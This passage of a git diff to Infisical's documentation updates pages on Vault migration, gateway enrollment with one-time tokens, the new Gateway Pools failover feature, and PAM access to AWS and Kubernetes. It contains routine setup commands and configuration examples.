+- [Vault](./vault) — KV secrets, Kubernetes auth and dynamic secret shapes, policy translation
+- [Doppler](./doppler) — secrets from Doppler projects and environments
 
 We're always looking to add more migration paths for other providers. If we're missing a platform, please open an issue on our [GitHub repository](https://github.com/infisical/infisical/issues).
diff --git a/docs/documentation/platform/external-migrations/vault.mdx b/docs/documentation/platform/external-migrations/vault.mdx
index a67f2f30400..c6a0296ab7e 100644
--- a/docs/documentation/platform/external-migrations/vault.mdx
+++ b/docs/documentation/platform/external-migrations/vault.mdx
@@ -107,22 +107,22 @@ Before importing anything, you need to establish a secure connection between Inf
 
   </Step>
 
-  <Step title="Add Vault Namespaces for Migration">
+  <Step title="Add a Vault migration configuration">
     Navigate to **Organization Settings > External Migrations** in Infisical.
 
-    Under the "In-Platform Migration Tooling" section for HashiCorp Vault, click **"+ Add Namespace"**.
+    Under **In-Platform Migration Tooling**, click **Add configuration**. In the provider chooser, select **HashiCorp Vault**.
 
-    ![In-Platform Migration Tooling](/images/platform/external-migrations/vault-in-platform/external-migration-overview.png)
+    ![Choose provider](/images/platform/external-migrations/vault-in-platform/select-migration-provider.png)
 
-    Configure your namespace:
+    Configure the Vault namespace entry:
 
-    ![Namespace Configuration](/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png)
+    ![Namespace configuration modal](/images/platform/external-migrations/vault-in-platform/namespace-configuration-modal.png)
 
     - **Namespace**: Enter your Vault namespace path (e.g., `admin/namespace1`). If you intend to use the root namespace, set the namespace value to "root".
     - **Connection**: Select the App Connection you created in the previous step.
 
     <Note>
-    You can add multiple namespaces with different connections if you have multiple Vault instances or namespaces to migrate from.
+    You can add multiple Vault rows (different namespaces and/or connections) in the same table if you have several Vault instances or namespaces to migrate from.
     </Note>
 
   </Step>
@@ -155,7 +155,11 @@ KV secrets are imported into a specific **environment** (e.g., Development, Stag
   ![Add Secret Dropdown](/images/platform/external-migrations/vault-in-platform/import-vault-secrets-option.png)
   
 
-4. Choose your Vault namespace and the secret path you want to import (e.g., `secret/app/prod`)
+4. Select your Vault namespace and one or more secret paths to import (for example, `secret/app/prod`). Keys are copied using their names from Vault.
+<Note>
+ If you select multiple paths and the same key name exists in more than one of them, the import aborts and no secrets are saved.
+</Note>
+
 5. Click **"Import Secrets"**
   ![Import Vault Secrets](/images/platform/external-migrations/vault-in-platform/import-vault-secrets-modal.png)
 
diff --git a/docs/documentation/platform/gateways/gateway-deployment.mdx b/docs/documentation/platform/gateways/gateway-deployment.mdx
index 0d81367754d..487eb9660fb 100644
--- a/docs/documentation/platform/gateways/gateway-deployment.mdx
+++ b/docs/documentation/platform/gateways/gateway-deployment.mdx
@@ -8,99 +8,23 @@ This guide covers everything you need to deploy and configure Infisical Gateways
 
 ## Deployment Steps
 
-To successfully deploy an Infisical Gateway for use, follow these steps in order.
-
 <Steps>
-  <Step title="Provision a Machine Identity">
-    Create a machine identity with the correct permissions to create and manage gateways. This identity is used by the gateway to authenticate with Infisical and should be provisioned in advance.
-    The gateway supports several [machine identity auth methods](/documentation/platform/identities/machine-identities), as listed below. Choose the one that best fits your environment and set the corresponding environment variables when deploying the gateway.
-
-    <AccordionGroup>
-      <Accordion title="Universal Auth">
-        Simple and secure authentication using client ID and client secret.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=universal-auth`
-        - `INFISICAL_UNIVERSAL_AUTH_CLIENT_ID=<client-id>`
-        - `INFISICAL_UNIVERSAL_AUTH_CLIENT_SECRET=<client-secret>`
-      </Accordion>
-
-      <Accordion title="Token Auth">
-        Direct authentication using a machine identity access token.
-
-        **Environment Variables:**
-        - `INFISICAL_TOKEN=<token>`
-      </Accordion>
-
-      <Accordion title="Native Kubernetes">
-        Authentication using Kubernetes service account tokens.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=kubernetes`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-      </Accordion>
-
-      <Accordion title="Native AWS IAM">
-        Authentication using AWS IAM roles.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=aws-iam`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-      </Accordion>
-
-      <Accordion title="Native GCP ID Token">
-        Authentication using GCP identity tokens.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=gcp-id-token`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-      </Accordion>
-
-      <Accordion title="GCP IAM">
-        Authentication using GCP service account keys.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=gcp-iam`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-        - `INFISICAL_GCP_SERVICE_ACCOUNT_KEY_FILE_PATH=<path-to-key-file>`
-      </Accordion>
-
-      <Accordion title="Native Azure">
-        Authentication using Azure managed identity.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=azure`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-      </Accordion>
-
-      <Accordion title="OIDC Auth">
-        Authentication using OIDC identity tokens.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=oidc-auth`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-        - `INFISICAL_JWT=<oidc-jwt>`
-      </Accordion>
-
-      <Accordion title="JWT Auth">
-        Authentication using JWT tokens.
-
-        **Environment Variables:**
-        - `INFISICAL_AUTH_METHOD=jwt-auth`
-        - `INFISICAL_MACHINE_IDENTITY_ID=<machine-identity-id>`
-        - `INFISICAL_JWT=<jwt>`
-      </Accordion>
-    </AccordionGroup>
-  </Step>
   <Step title="Set Up a Relay Server">
-  Ensure a relay server is running and accessible before you deploy any gateways. You have two options:
-  - **Managed relay (Infisical Cloud, US/EU only):** Managed relays are only available for Infisical Cloud instances in the US and EU regions. If you are using Infisical Cloud in these regions, you can use the provided managed relay.
-  - **Self-hosted relay:** For all other cases, including all self-hosted and dedicated enterprise instances of Infisical, you must deploy your own relay server. You can also choose to deploy your own relay server when using Infisical Cloud if you require reduced geographic proximity to your target resources for lower latency or to reduce network congestion. For setup instructions, see the [Relay Deployment Guide](/documentation/platform/gateways/relay-deployment).
+    Ensure a relay server is running and accessible before you deploy any gateways. You have two options:
+    - **Managed relay (Infisical Cloud, US/EU only):** If you are using Infisical Cloud in the US or EU regions, you can use the provided managed relay.
+    - **Self-hosted relay:** For all other cases, you must deploy your own relay server. See the [Relay Deployment Guide](/documentation/platform/gateways/relay-deployment).
+  </Step>
+  <Step title="Create the Gateway in the UI">
+    1. Navigate to **Organization Settings > Networking > Gateways**.
+    2. Click **Create Gateway**.
+    ![Create Gateway button](/images/platform/gateways/gateway-create-button.png)
+    3. Enter a name for your gateway and select a relay (or use "Auto Select Relay").
+    ![Create Gateway form](/images/platform/gateways/gateway-create-form.png)
+    4. Choose your deployment method (CLI or systemd).
+    5. Copy the generated CLI command. The command includes a one-time enrollment token that expires in 1 hour.
   </Step>
   <Step title="Install the Infisical CLI">
-    Make sure the Infisical CLI is installed on the machine or environment where you plan to deploy the gateway. The CLI is required for gateway installation and management.
-
-    See the [CLI Installation Guide](/cli/overview) for instructions.
+    Make sure the Infisical CLI is installed on the target machine. See the [CLI Installation Guide](/cli/overview) for instructions.
   </Step>
   <Step title="Configure Network & Firewall">
     Ensure your network and firewall settings allow the gateway to connect to all required services. All connections are outbound only; no inbound ports need to be opened.
@@ -114,85 +38,59 @@ To successfully deploy an Infisical Gateway for use, follow these steps in order
 
     If you are in a corporate environment with strict egress filtering, ensure outbound TCP 2222 to relay servers and outbound HTTPS 443 to Infisical API endpoints are allowed.
   </Step>
-  <Step title="Select a Deployment Method">
-    The Infisical CLI is used to install and start the gateway in your chosen environment. The CLI provides commands for both production and development scenarios, and supports a variety of options/flags to configure your deployment.
+  <Step title="Run the CLI Command">
+    Run the command you copied from the UI on the target machine. This single command enrolls the gateway and starts it immediately.
 
-    To view all available flags and equivalent environment variables for gateway deployment, see the [Gateway CLI Command Reference](/cli/commands/gateway).
     <Tabs>
       <Tab title="Linux Server (Production)">
-        For production deployments on Linux servers, install the Gateway as a systemd service so that it runs securely in the background and automatically restarts on failure or system reboot:
+        For production deployments on Linux, install as a systemd service:
         ```bash
-        sudo infisical gateway systemd install --token <your-machine-identity-token> --domain <your-infisical-domain> --name <gateway-name>
+        sudo infisical gateway systemd install <gateway-name> \
+          --enroll-method=token \
+          --token=<enrollment-token> \
+          --domain=<your-infisical-domain>
         sudo systemctl start infisical-gateway
         ```
 
-        <Info>
-          By default, the gateway connects to the most optimal relay. Use the `--target-relay-name` flag to manually specify a different relay server.
-        </Info>
-
         <Warning>
           The systemd install command requires a Linux operating system with root/sudo
           privileges.
         </Warning>
       </Tab>
-
-      <Tab title="Kubernetes (Production)">
-        For production deployments on Kubernetes clusters, install the Gateway using the Infisical Helm chart:
-
-        #### Install the latest Helm Chart repository
-
-        ```bash
-        helm repo add infisical-helm-charts 'https://dl.cloudsmith.io/public/infisical/helm-charts/helm/charts/'
-        helm repo update
-        ```
-
-        #### Create a Kubernetes Secret
-
-        The gateway supports all identity authentication methods through environment variables:
-
-        ```bash
-        kubectl create secret generic infisical-gateway-environment \
-          --from-literal=INFISICAL_AUTH_METHOD=universal-auth \
-          --from-literal=INFISICAL_UNIVERSAL_AUTH_CLIENT_ID=<client-id> \
-          --from-literal=INFISICAL_UNIVERSAL_AUTH_CLIENT_SECRET=<client-secret> \
-          --from-literal=INFISICAL_GATEWAY_NAME=<gateway-name>
-        ```
-
-        <Info>
-          By default, the gateway connects to the most optimal relay. Use the `--from-literal=INFISICAL_RELAY_NAME=<relay-name>` flag to manually specify a different relay server.
-        </Info>
-
-        #### Install the Gateway
-
-        ```bash
-        helm install infisical-gateway infisical-helm-charts/infisical-gateway
-        ```
-      </Tab>
-
       <Tab title="Development & Testing">
-        For development or testing environments:
-
+        For development or testing, run directly in the foreground:
         ```bash
-        sudo infisical gateway start --token <token> --name=<gateway-name>
+        infisical gateway start my-gateway \
+          --enroll-method=token \
+          --token=<enrollment-token> \
+          --domain=<your-infisical-domain>
         ```
-
-        <Info>
-          By default, the gateway connects to the most optimal relay. Use the `--target-relay-name` flag to manually specify a different relay server.
-        </Info>
       </Tab>
     </Tabs>
-  </Step>
 
+    <Info>
+      The enrollment token can only be used once and expires after 1 hour. If it expires, use the **Re-enroll** option in the gateway's context menu to generate a new one.
+    </Info>
+
+    <Info>
+      You can safely re-run the same command to restart the gateway. It will detect the token has already been used and skip enrollment automatically.
+    </Info>
+  </Step>
   <Step title="Verify Your Gateway Deployment">
     After deployment, verify your gateway is working:
+    1. **Check logs** for "Gateway started successfully" message.
+    2. **Verify registration** in the Infisical UI. Navigate to **Networking > Gateways** and confirm the gateway shows a "Healthy" status.
+    3. **Test connectivity** by creating a resource that uses the gateway to access a private service.
+  </Step>
+</Steps>
 
-      1. **Check logs** for "Gateway started successfully" message indicating the gateway is running and connected to the relay
+### Re-enrollment
 
-      2. **Verify registration** in the Infisical by visiting the Gateways section of your organization. The new gateway should appear with a recent heartbeat timestamp.
+To move a gateway to a different machine or regenerate its credentials:
 
-      3. **Test connectivity** by creating a resource in Infisical that uses the gateway to access a private service. Verify the resource can successfully connect through the gateway.
-  </Step>
-</Steps>
+1. Click the context menu (three dots) next to the gateway and select **Re-enroll**.
+2. Copy the new CLI command and run it on the new machine.
+3. The existing gateway continues running until the new machine enrolls. Once the new machine connects, the old machine's credentials are automatically revoked. This enables zero-downtime machine migrations.
 
 ## Frequently Asked Questions
 
@@ -234,11 +132,7 @@ If the gateway cannot connect to the relay:
 </Accordion>
 
 <Accordion title="How do I troubleshoot authentication failures?">
-If you encounter authentication failures:
-
-1. Verify machine identity credentials are correct
-2. Check token expiration and renewal
-3. Ensure authentication method is properly configured
+Ensure the enrollment token has not expired or already been used. If the gateway was re-enrolled, the old machine's credentials are no longer valid. You can generate a new enrollment token using the **Re-enroll** option in the gateway's context menu.
 </Accordion>
 
 <Accordion title="Where can I find gateway logs?">
@@ -248,15 +142,24 @@ Check gateway logs for detailed error information:
   ```bash
   sudo journalctl -u infisical-gateway -f
   ```
-- **Kubernetes:**
-  ```bash
-  kubectl logs deployment/infisical-gateway
-  ```
 - **Local installation:** Logs appear in the terminal where you started the gateway
 </Accordion>
 
-<Accordion title="Where is the gateway configuration file stored?">
-For systemd-based installations, the gateway's configuration file is stored at `/etc/infisical/gateway.conf`. You may reference or inspect this file for troubleshooting advanced configuration issues.
+<Accordion title="What happens if my enrollment token expires?">
+Enrollment tokens expire after 1 hour. If the token expires before you run the CLI command, click the context menu (three dots) next to the gateway and select **Re-enroll** to generate a new token.
+</Accordion>
+
+<Accordion title="Where are gateway credentials stored?">
+Each gateway's access token and domain are saved to a config file scoped by gateway name:
+
+- **Running as root/sudo:** `/etc/infisical/gateways/<name>.conf`
+- **Running as a regular user:** `~/.infisical/gateways/<name>.conf`
+
+This allows multiple gateways to run on the same machine without conflicting. For systemd-based installations, the configuration is at `/etc/infisical/gateway.conf`. All config files are created with restricted permissions (0600) so only the owner can read them.
+</Accordion>
+
+<Accordion title="Can I run multiple gateways on the same machine?">
+Yes. Each gateway stores its credentials in a separate config file scoped by name (e.g., `~/.infisical/gateways/my-gateway.conf`). You can enroll and start multiple gateways in separate terminal sessions using different names.
 </Accordion>
 
 <Accordion title="What happens if there is a network interruption?">
diff --git a/docs/documentation/platform/gateways/gateway-pools.mdx b/docs/documentation/platform/gateways/gateway-pools.mdx
new file mode 100644
index 00000000000..271241740ca
--- /dev/null
+++ b/docs/documentation/platform/gateways/gateway-pools.mdx
@@ -0,0 +1,89 @@
+---
+title: "Gateway Pools"
+sidebarTitle: "Gateway Pools"
+description: "High availability and automatic failover for gateways"
+---
+
+Gateway Pools provide high availability for your gateway infrastructure. A pool is a named collection of gateways that all have connectivity to the same private network. When the platform needs to reach a resource through a pool, it automatically routes through a healthy gateway, providing failover if any individual gateway goes down.
+
+<Info>
+  Gateway Pools is an enterprise feature. Self-hosted users can contact
+  [sales@infisical.com](mailto:sales@infisical.com) to purchase an enterprise
+  license.
+</Info>
+
+## How It Works
+
+1. You create a Gateway Pool and add multiple gateways that share network access to the same resources.
+2. When configuring a consumer (e.g., Kubernetes Auth), you select the pool instead of an individual gateway.
+3. At request time, the platform picks a random healthy gateway from the pool and routes through it.
+4. If a gateway goes down, subsequent requests automatically route through the remaining healthy gateways.
+
+A gateway is considered healthy if it has sent a heartbeat within the last hour and its last health check did not fail.
+
+## Creating a Gateway Pool
+
+1. Navigate to **Organization Settings > Networking > Gateways**.
+2. Click the **Gateway Pools** tab.
+
+![Gateway Pools Switch](../../../images/platform/gateways/gateway-pools-switch.png)
+
+3. Click **Create Pool**.
+
+![Gateway Pools Tab](../../../images/platform/gateways/gateway-pools-tab.png)
+
+4. Enter a name for the pool and click **Create Pool**.
+
+![Create Gateway Pool](../../../images/platform/gateways/gateway-pools-create.png)
+
+## Adding Gateways to a Pool
+
+1. In the **Gateway Pools** tab, click on a pool to open its detail view.
+
+![Click on a pool](../../../images/platform/gateways/gateway-pools-click-pool.png)
+
+2. Click **Add Gateway** and select a gateway from the dropdown.
+
+![Add gateway to pool](../../../images/platform/gateways/gateway-pools-add-gateway.png)
+
+3. Repeat for each gateway you want to add.
+
+A gateway can belong to multiple pools if it has connectivity to resources served by each pool. Pool membership can be changed at any time without restarting the gateway.
+
+## Using a Pool in a Consumer Config
+
+Anywhere you configure a gateway, the gateway picker dropdown shows both individual gateways and gateway pools. Pools are listed under the "Gateway Pools" section with an **HA** (high availability) badge and health status.
+
+When you select a pool, the platform validates connectivity through one of its healthy gateways before saving.
+
+## Gateway Selection
+
+When a request is routed through a pool, the platform picks a gateway at random from the pool's healthy gateways. There is no round-robin or weighted selection.
+
+## Pool Health
+
+Each pool displays an aggregate health status based on its gateways:
+
+- **Green** (e.g., "3/3 healthy") - All gateways are healthy
+- **Yellow** (e.g., "2/3 healthy") - Some gateways are unhealthy
+- **Red** (e.g., "0/3 healthy") - All gateways are unhealthy
+
+If all gateways in a pool are unhealthy when a request is made, the request fails with a descriptive error.
+
+## FAQ
+
+<AccordionGroup>
+  <Accordion title="Can I delete a pool that is in use?">
+    No. A pool cannot be deleted if it is referenced by any consumer configurations (e.g., Kubernetes Auth). You must first update those configurations to use a different gateway or pool before deleting.
+  </Accordion>
+  <Accordion title="How can I see what is using a pool?">
+    Each pool shows a count of connected consumer configurations in the table. Click the count to see the full list with links to each resource.
+  </Accordion>
+  <Accordion title="What happens if all gateways in a pool are unhealthy?">
+    The request fails with a descriptive error. You should ensure at least one gateway in the pool is online and has a recent heartbeat.
+  </Accordion>
+  <Accordion title="Can a gateway belong to multiple pools?">
+    Yes. A gateway can belong to as many pools as needed, as long as it has connectivity to the resources served by each pool.
+  </Accordion>
+</AccordionGroup>
+
diff --git a/docs/documentation/platform/gateways/overview.mdx b/docs/documentation/platform/gateways/overview.mdx
index 33945337b69..b3f77efe4ee 100644
--- a/docs/documentation/platform/gateways/overview.mdx
+++ b/docs/documentation/platform/gateways/overview.mdx
@@ -65,6 +65,10 @@ To monitor their operational status, both gateways and relays transmit hourly he
 
 Infisical automatically notifies all organization admins of unhealthy gateway or relay statuses through email and in-app notifications.
 
+## High Availability with Gateway Pools
+
+For production workloads, you can group multiple gateways into a **Gateway Pool** to provide automatic failover. When a gateway in a pool goes down, the platform routes through a healthy member automatically. See [Gateway Pools](/documentation/platform/gateways/gateway-pools) for details.
+
 ## Getting Started
 
 Ready to set up your gateway? Follow the guides below.
@@ -73,11 +77,14 @@ Ready to set up your gateway? Follow the guides below.
   <Card title="Gateway Deployment" href="/documentation/platform/gateways/gateway-deployment">
     Deploy and configure your gateway within your network infrastructure.
   </Card>
+  <Card title="Gateway Pools" href="/documentation/platform/gateways/gateway-pools">
+    Set up high availability with gateway pools for automatic failover.
+  </Card>
+</Columns>
+<Columns cols={2}>
   <Card title="Relay Deployment" href="/documentation/platform/gateways/relay-deployment">
     Set up relay servers if using self-deployed infrastructure.
   </Card>
-</Columns>
-<Columns cols={1}>
   <Card title="Security Architecture" href="/documentation/platform/gateways/security">
     Learn about the security model and implementation best practices.
   </Card>
diff --git a/docs/documentation/platform/groups.mdx b/docs/documentation/platform/groups.mdx
index 70d39dafc2f..4c9a8828a4b 100644
--- a/docs/documentation/platform/groups.mdx
+++ b/docs/documentation/platform/groups.mdx
@@ -12,7 +12,7 @@ description: "Manage groups containing users and machine identities in Infisical
 
 ## Concept
 
-A group is a collection of identities (users and/or machine identities) that you can create in an Infisical organization to more efficiently manage permissions and access control for multiple identities together. For example, you can have a group called `Developers` with the `Developer` role containing all the developers in your organization, or a group called `CI/CD Identities` containing all the machine identities used in your CI/CD pipelines.
+A group is a collection of identities (users and/or machine identities) that you can create in an Infisical organization to more efficiently manage permissions and access control for multiple identities together. For example, you can have a group called `Members` with the `Member` role containing all the members in your organization, or a group called `CI/CD Identities` containing all the machine identities used in your CI/CD pipelines.
 
 Groups have the following properties:
 
diff --git a/docs/documentation/platform/identities/kubernetes-auth.mdx b/docs/documentation/platform/identities/kubernetes-auth.mdx
index f9412b92b19..eeefb5d30e9 100644
--- a/docs/documentation/platform/identities/kubernetes-auth.mdx
+++ b/docs/documentation/platform/identities/kubernetes-auth.mdx
@@ -207,6 +207,8 @@ In the following steps, we explore how to create and use identities for your app
           <Step title="Configure the Kubernetes Auth authentication method for the identity">
             To configure your Kubernetes Auth method to use the gateway as the token reviewer, set the `Review Method` to "Gateway as Reviewer", and select the gateway you want to use as the token reviewer.
 
+            You can select either an individual gateway or a **Gateway Pool** for automatic failover. When a pool is selected, the platform routes through a healthy gateway at request time. See [Gateway Pools](/documentation/platform/gateways/gateway-pools) for more details.
+
             ![identities organization create kubernetes auth method](/images/platform/identities/identities-kubernetes-auth-gateway-as-reviewer.png)
           </Step>
         </Steps>
diff --git a/docs/documentation/platform/identities/universal-auth.mdx b/docs/documentation/platform/identities/universal-auth.mdx
index 18b847a4037..c99d5fa054a 100644
--- a/docs/documentation/platform/identities/universal-auth.mdx
+++ b/docs/documentation/platform/identities/universal-auth.mdx
@@ -177,8 +177,6 @@ using the Universal Auth authentication method.
 
 In many automated, cloud-native, or ephemeral environments (such as VMs, containers, or serverless functions), it is often unsafe or impractical to hard-code long-lived credentials for bootstrapping access to secrets management systems. The "secret zero" problem refers to the challenge of securely providing a workload with its initial credential, without manual intervention or static secrets that could be leaked or reused. Periodic tokens in Universal Auth are designed to solve this problem by enabling secure, automated bootstrapping and ongoing access renewal, even in dynamic or short-lived environments.
 
-A common challenge in cloud-native and automated environments is the "secret zero" problem: how to securely bootstrap a workload (such as a VM, container, or serverless function) with its first credential, without hard-coding static secrets or requiring manual intervention.
-
 **Periodic tokens** in Universal Auth solve this by allowing you to issue an access token that can be continuously renewed by your workload before it expires (i.e., a client-initiated rotation mechanism):
 
 - When you set the **Access Token Period** in the Universal Auth configuration, the issued access token can be renewed by your workload for the specified period (in seconds).
diff --git a/docs/documentation/platform/pam/getting-started/resources/aws-iam.mdx b/docs/documentation/platform/pam/getting-started/resources/aws-iam.mdx
index 58b58a81383..8975098a78d 100644
--- a/docs/documentation/platform/pam/getting-started/resources/aws-iam.mdx
+++ b/docs/documentation/platform/pam/getting-started/resources/aws-iam.mdx
@@ -1,14 +1,14 @@
 ---
 title: "AWS IAM"
 sidebarTitle: "AWS IAM"
-description: "Learn how to configure AWS Management Console access through Infisical PAM for secure, audited, and just-in-time access to AWS."
+description: "Learn how to configure AWS access through Infisical PAM for secure, audited, and just-in-time access to AWS, covering both the AWS CLI and the Management Console."
 ---
 
-Infisical PAM supports secure, just-in-time access to the **AWS Management Console** through federated sign-in. This allows your team to access AWS without sharing long-lived credentials, while maintaining a complete audit trail of who accessed what and when.
+Infisical PAM supports secure, just-in-time access to AWS through STS role chaining. Each access request issues short-lived credentials that can be used directly with the **AWS CLI** or exchanged for a federated **AWS Management Console** sign-in URL. Both come from the same session, so there's no duplication and CloudTrail attribution stays consistent.
 
 ## How It Works
 
-Unlike database or SSH resources that require a Gateway for network connectivity, AWS Console access works differently. Infisical uses AWS STS (Security Token Service) to assume roles on your behalf and generates temporary federated sign-in URLs.
+Unlike database or SSH resources that require a Gateway for network connectivity, AWS access works differently. Infisical uses AWS STS (Security Token Service) to assume roles on your behalf and returns the temporary credentials. Those credentials are usable directly by the AWS CLI, and can also be exchanged for a federated console sign-in URL on demand.
 
 ```mermaid
 sequenceDiagram
@@ -229,9 +229,9 @@ A PAM Account represents a specific Target Role that users can request access to
   </Step>
 </Steps>
 
-## Access the AWS Console
+## Access AWS
 
-Once your resource and accounts are configured, users can request access through Infisical:
+Once your resource and accounts are configured, users can request access through Infisical. A single access request creates one session whose credentials power both the CLI and (optionally) the console. Clicking **Open in AWS Console** does not start a separate session.
 
 ![Create AWS IAM Resource](/images/pam/resources/aws-iam/access-account.png)
 
@@ -241,18 +241,47 @@ Once your resource and accounts are configured, users can request access through
   </Step>
 
   <Step title="Select the account">
-    In the resource’s accounts section, find the AWS Console account you want to access.
+    In the resource's accounts section, find the AWS account you want to access.
   </Step>
 
   <Step title="Request Access">
-    Click the **Access** button for that account.
+    Click the **Access** button for that account. Infisical will:
 
-    Infisical will:
     1. Assume the Resource Role using your project's External ID
     2. Assume the Target Role using role chaining
-    3. Generate a federated sign-in URL
-    4. Open the AWS Console in a new browser tab
+    3. Return the temporary STS credentials to your browser
 
-    The user will be signed into the AWS Console with the permissions of the Target Role.
+    The credentials shown are valid until the configured session duration expires.
+  </Step>
+
+  <Step title="Use the AWS CLI">
+    The access dialog shows three fields with copy buttons:
+
+    - **Access Key ID**
+    - **Secret Access Key**
+    - **Session Token**
+
+    Use them however your tooling expects. Common options:
+
+    - Export as environment variables (Bash / Zsh):
+      ```bash
+      export AWS_ACCESS_KEY_ID=ASIA...
+      export AWS_SECRET_ACCESS_KEY=...
+      export AWS_SESSION_TOKEN=...
+      ```
+    - Equivalent `$env:` assignments in PowerShell
+    - Append to a named profile in `~/.aws/credentials`:
+      ```ini
+      [infisical-pam]
+      aws_access_key_id = ASIA...
+      aws_secret_access_key = ...
+      aws_session_token = ...
+      ```
+
+    All standard AWS SDKs and tooling will pick up the credentials automatically once they are in the environment or credentials file.
+  </Step>
+
+  <Step title="(Optional) Open the AWS Console">
+    Click **Open in AWS Console** at the bottom of the access dialog. Infisical exchanges the same STS credentials for a federated sign-in URL and opens it in a new tab. No second session is created, and CloudTrail attribution stays consistent with your CLI activity.
   </Step>
 </Steps>
\ No newline at end of file
diff --git a/docs/documentation/platform/pam/getting-started/resources/kubernetes.mdx b/docs/documentation/platform/pam/getting-started/resources/kubernetes.mdx
index 1a9d7d1a3d6..1b4e421717d 100644
--- a/docs/documentation/platform/pam/getting-started/resources/kubernetes.mdx
+++ b/docs/documentation/platform/pam/getting-started/resources/kubernetes.mdx
@@ -4,11 +4,18 @@ sidebarTitle: "Kubernetes"
 description: "Learn how to configure Kubernetes cluster access through Infisical PAM for secure, audited, and just-in-time access to your Kubernetes clusters."
 ---
 
-Infisical PAM supports secure, just-in-time access to Kubernetes clusters through service account token authentication. This allows your team to access Kubernetes clusters without sharing long-lived credentials, while maintaining a complete audit trail of who accessed what and when.
+Infisical PAM supports secure, just-in-time access to Kubernetes clusters. Your team can access Kubernetes clusters without sharing long-lived credentials, while maintaining a complete audit trail of who accessed what and when.
+
+There are two ways to authenticate:
+
+- **Service Account Token** — you provide a static token that the Gateway injects into requests. Simple to set up, but the token is long-lived and stored in Infisical.
+- **Gateway** — the Gateway uses its own pod identity and [Kubernetes impersonation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) to act as a target service account. No tokens are stored in Infisical — you only provide a service account name and namespace.
 
 ## How It Works
 
-Kubernetes access in Infisical PAM uses an Infisical Gateway to securely proxy connections to your Kubernetes API server. When a user requests access, Infisical generates a temporary kubeconfig that routes traffic through the Gateway, enabling secure access without exposing your cluster directly.
+### Service Account Token
+
+When using a service account token, the Gateway forwards kubectl requests to the Kubernetes API server using the provided token.
 
 ```mermaid
 sequenceDiagram
@@ -31,15 +38,46 @@ sequenceDiagram
     CLI-->>User: kubectl output
 ```
 
+### Gateway (Impersonation)
+
+When using Gateway auth, the Gateway authenticates as itself using its own pod service account, then tells the Kubernetes API to treat the request as if it came from the target service account.
+
+```mermaid
+sequenceDiagram
+    participant User
+    participant CLI as Infisical CLI
+    participant Infisical
+    participant Gateway as Infisical Gateway
+    participant K8s as Kubernetes API Server
+
+    User->>CLI: Request Kubernetes access
+    CLI->>Infisical: Authenticate & request session
+    Infisical-->>CLI: Session credentials & Gateway info
+    CLI->>CLI: Start local proxy
+    CLI->>Gateway: Establish secure tunnel
+    Gateway->>Infisical: Fetch session credentials (SA name + namespace)
+    User->>CLI: kubectl commands
+    CLI->>Gateway: Proxy kubectl requests
+    Gateway->>K8s: Forward with own token + Impersonate-User header
+    K8s->>K8s: Verify impersonation permission, apply target SA's RBAC
+    K8s-->>Gateway: Response
+    Gateway-->>CLI: Return response
+    CLI-->>User: kubectl output
+```
+
+No tokens are stored in Infisical. The Gateway reads its own pod token from the filesystem (auto-mounted by Kubernetes) and auto-discovers the Kubernetes API server from environment variables.
+
 ### Key Concepts
 
 1. **Gateway**: An Infisical Gateway deployed in your network that can reach the Kubernetes API server. The Gateway handles secure communication between users and your cluster.
 
 2. **Service Account Token**: A Kubernetes service account token that grants access to the cluster. This token is stored securely in Infisical and used by the Gateway to authenticate with the Kubernetes API.
 
-3. **Local Proxy**: The Infisical CLI starts a local proxy on your machine that intercepts kubectl commands and routes them securely through the Gateway to your cluster.
+3. **Impersonation**: A Kubernetes feature where one identity (the Gateway) can act on behalf of another (the target service account). The Gateway authenticates as itself and adds `Impersonate-User` headers. Kubernetes checks if the Gateway has permission to impersonate the target, then applies the target's RBAC rules.
+
+4. **Local Proxy**: The Infisical CLI starts a local proxy on your machine that intercepts kubectl commands and routes them securely through the Gateway to your cluster.
 
-4. **Session Tracking**: All access sessions are logged, including when the session was created, who accessed the cluster, session duration, and when it ended.
+5. **Session Tracking**: All access sessions are logged, including when the session was created, who accessed the cluster, session duration, and when it ended.
 
 ### Session Tracking
 
@@ -59,11 +97,13 @@ Infisical tracks:
 Before configuring Kubernetes access in Infisical PAM, you need:
 
 1. **Infisical Gateway** - A Gateway deployed in your network with access to the Kubernetes API server
-2. **Service Account** - A Kubernetes service account with appropriate RBAC permissions
-3. **Infisical CLI** - The Infisical CLI installed on user machines
+2. **Infisical CLI** - The Infisical CLI installed on user machines
+3. Depending on your auth method:
+   - **Service Account Token**: A Kubernetes service account with appropriate RBAC permissions and a static token
+   - **Gateway**: The Gateway must be deployed **inside the Kubernetes cluster** as a pod, with a ClusterRole that allows impersonation of target service accounts
 
 <Warning>
-  **Gateway Required**: Unlike AWS Console access, Kubernetes access requires an Infisical Gateway to be deployed and registered with your Infisical instance. The Gateway must have network connectivity to your Kubernetes API server.
+  **Gateway Required**: Kubernetes access requires an Infisical Gateway to be deployed and registered with your Infisical instance. For Gateway auth, the Gateway must be running as a pod inside the cluster.
 </Warning>
 
 ## Create the PAM Resource
@@ -79,90 +119,186 @@ The PAM Resource represents the connection between Infisical and your Kubernetes
     1. Navigate to your PAM project and go to the **Resources** tab
     2. Click **Add Resource** and select **Kubernetes**
     3. Enter a name for the resource (e.g., `production-k8s`, `staging-cluster`)
-    4. Enter the **Kubernetes API Server URL** - the URL to your Kubernetes API endpoint (e.g.`https://kubernetes.example.com:6443`)
+    4. Enter the **Kubernetes API Server URL** - the URL to your Kubernetes API endpoint (e.g.`https://kubernetes.example.com:6443`). If using Gateway auth with an in-cluster gateway, use `https://kubernetes.default.svc.cluster.local`.
